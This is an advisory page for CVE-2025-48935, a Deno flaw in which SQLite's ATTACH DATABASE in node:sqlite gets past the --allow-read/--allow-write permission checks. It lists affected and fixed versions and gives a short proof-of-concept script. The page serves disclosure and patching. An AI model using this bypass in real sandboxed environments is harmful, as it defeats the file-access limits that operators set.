NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Rust (crates.io)

CVE-2025-48935: Deno has --allow-read / --allow-write permission bypass in `node:sqlite`

mediumCVSS 4.0 5.5 · 3.1 9.1GHSA-8vxj-4cph-c596

Summary It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement. PoC

Published Jun 4, 2025 · Updated Dec 31, 2025

Affected packages

deno

Ecosystem
Rust (crates.io)
Affected
>= 2.2.0, < 2.2.5
Fixed in
2.2.5
Check
cargo tree -i deno

deno_node

Ecosystem
Rust (crates.io)
Affected
>= 0.129.0, < 0.134.0
Fixed in
0.134.0
Check
cargo tree -i deno_node

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

It is possible to bypass Deno's read/write permission checks by using ATTACH DATABASE statement.

PoC

// poc.js
import { DatabaseSync } from "node:sqlite"

const db = new DatabaseSync(":memory:");
db.exec("ATTACH DATABASE 'test.db' as test;");

db.exec("CREATE TABLE test.test (id INTEGER PRIMARY KEY, name TEXT);");
$ deno poc.js

Credited to littledivy, 0f-0b.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Rust (crates.io) vulnerabilities

All Rust (crates.io) entries